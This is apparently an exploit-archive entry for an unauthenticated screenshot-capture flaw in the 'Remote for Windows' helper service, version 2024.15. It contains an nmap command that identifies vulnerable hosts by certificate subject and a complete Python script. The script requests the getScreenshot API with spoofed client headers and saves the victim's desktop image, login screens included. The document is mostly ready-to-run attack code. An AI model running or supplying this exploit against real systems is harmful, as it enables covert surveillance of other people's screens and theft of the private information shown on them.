Windows 2024.15 – Unauthenticated Desktop Screenshot Capture
# Exploit Title: Windows 2024.15 - Unauthenticated Desktop Screenshot Capture # Date: 2025-05-19 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://rs.ltd # Software Link: https://rs.ltd/latest.php?os=win # Version: 2024.15 # Tested on: Windows 10/11 with Remote for Windows (helper) ''' Description: - Exploits the getScreenshot API endpoint in Remote for Windows helper service - Works when "Allow unknown devices" setting is enabled (default: disabled) - Captures current desktop including login screens (SYSTEM-level access) Vulnerable Component: - /api/getScreenshot endpoint with missing authentication checks # Identification: nmap -p- -T4 <TARGET_IP> --script ssl-cert Look for SSL cert with subject: CN=SecureHTTPServer/O=Evgeny Cherpak/C=US ''' #!/usr/bin/env python3 import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) def capture_screenshot(ip, port, output_file): try: response = requests.get( f"https://{ip}:{port}/api/getScreenshot", headers={ "X-ClientToken": "exploit", "X-HostName": "attacker-pc", "X-HostFullModel": "exploit-device" }, verify=False, timeout=15 ) if response.status_code == 200 and response.content.startswith(b'\xff\xd8'): with open(output_file, 'wb') as f: f.write(response.content) print(f"[+] Saved: {output_file}") return True print(f"[-] Failed: HTTP {response.status_code}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <IP> <PORT> <output.jpg>") sys.exit(1) sys.exit(0 if capture_screenshot(sys.argv[1], sys.argv[2], sys.argv[3]) else 1) |